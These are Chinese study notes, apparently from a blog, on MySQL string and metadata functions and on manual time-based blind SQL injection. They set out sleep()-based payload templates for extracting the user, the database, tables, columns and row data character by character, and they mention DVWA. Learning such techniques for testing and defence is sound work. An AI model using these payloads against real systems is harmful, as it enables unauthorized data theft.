一、CONCAT（）函数：CONCAT（）函数用于将一行里的多个字符串（属性）连接成一个字符串（新的属性）。

语法及使用特点：CONCAT(str1,str2,…)                         
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。可以有一个或多个参数。  
  
二、使用函数CONCAT\_WS（）。使用语法为：CONCAT\_WS(separator,str1,str2,…)  
CONCAT\_WS() 代表 CONCAT With Separator ，是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串，也可以是其它参数。如果分隔符为 NULL，则结果为 NULL。

三、GROUP\_CONCAT（）函数：GROUP\_CONCAT函数返回一个字符串结果，该结果由分组中的值连接组合而成。（不同行中相同的属性拼接而成）

MySQL中的DATABASE()函数返回默认或当前数据库的名称。DATABASE()函数返回的字符串或名称使用utf8字符集。如果没有默认数据库，则Database函数返回NULL。

MID(string, start, length) 从字符串中提取子字符串（从位置5开始，提取3个字符，第一个字符为位置1）：MID()和SUBSTR()都是SUBSTRING()的同义词。

Mysql5.7版本自带4个数据库，information\_schema、mysql、performance\_schema、sys。INFORMATION\_SCHEMA提供对数据库[元数据](https://so.csdn.net/so/search?q=%E5%85%83%E6%95%B0%E6%8D%AE&spm=1001.2101.3001.7020)的访问

**information\_schema.tables表:** 此表存放了当前数据库管理系统下所有数据库的表，效果等同于所有数据库下show tables的合集。table\_name列：记录当前数据库管理系统中所有表的合集。

**information\_schema.columns表**：此表存放了当前数据库管理系统中所有的列名

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数，第一个参数指定第一个返回记录行的偏移量，第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)

SELECT \* FROM table LIMIT 5,10; ------查询6-15的数据。第五行后面的10条数据  
SELECT \* FROM table LIMIT 5;------查询前五行数据

MySQL中怎么查询一个库的表数

**select count(table\_name) from information\_schema.tables where table\_schema=‘dvwa’**

MySQL中怎么查询一张表的列数

select count(1) from information\_schema.columns where table\_schema='dbname' and table\_name='tbname;

**猜解当前数据库用户名**

第一步：猜解用户名的长度。(猜解到的用户名长度用于下面的逐位猜解用户名)

and if((select length(user()))=长度,sleep(5),0)

第二步：逐位猜解用户名。

and if((select ascii(substr(user(),位数,1))=ascii码),sleep(5),0)

**猜解当前数据库名**

第一步：猜解数据库名的长度。

and if((select length(database()))=长度,sleep(5),0)

第二步：猜解数据库名。

and if((select ascii(substr(database(),位数,1))=ascii码),sleep(5),0)

**猜表名**

第一步：判断表名的数量 (以便逐个猜表名)

and if((select count(table\_name) from information\_schema.tables where table\_schema=database())=个数,sleep(5),0)

第二步：判断某个表名的长度 (以便逐位猜表名的数据)

and if((select length(table\_name) from information\_schema.tables where table\_schema=database() limit n,1)=长度,sleep(5),0)

第三步：逐位猜表名

and if((select ascii(substr(table\_name,位数,1)) from information\_schema.tables where table\_schema=database() limit n,1)=ascii码,sleep(5),0)

**猜列名**

第一步：判断列名的数量 (以便逐个猜列名)

and if((select count(column\_name) from information\_schema.columns where table\_name='表名')=个数,sleep(5),0)

第二步：判断某个列名的长度 (以便逐位猜列名的数据)

and if((select length(column\_name) from information\_schema.columns where table\_name='表名' limit n,1)=长度,sleep(5),0)

第三步：逐位猜列名

and if((select ascii(substr(column\_name,位数,1)) from information\_schema.columns where table\_name='表名' limit n,1)=ascii码,sleep(5),0)

**猜数据**

第一步：判断数据的数量 (以便逐个猜数据)

and if((select count(列名) from 表名)=个数,sleep(5),0)

第二步：判断某个数据的长度 (以便逐位猜数据)

and if((select length(username) from admin limit 0,1)=5,sleep(5),0)

第三步：逐位猜数据

and if((select ascii(substr(username,1,1)) from admin limit 0,1)=97,sleep(5),0)

**------------------------------------------------------------------------------**

判断某个（第n+1个）列名的长度

and if((select length(column\_name) from information\_schema.columns where table\_name='表名' limit n,1)=长度,sleep(5),0)

一位位判断一个表的第n+1列的列名

select ascii(substr(column\_name,位数,1)) from information\_schema.columns where table\_name='表名' limit n,1

判断第1行（第一个样本）的字段长

and if((select length(username) from admin limit 0,1)=5,sleep(5),0)

一位位判断第1行（第一个样本）字段的值

and if((select ascii(substr(列名, 位数,1)) from admin limit 0,1)=97,sleep(5),0)

**1' and ascii(substr((select user from users limit 0,1), 1,1))=97#**

[Mysql手工盲注(延时注入) · 大专栏 (dazhuanlan.com)](https://www.dazhuanlan.com/bog/topics/1032669)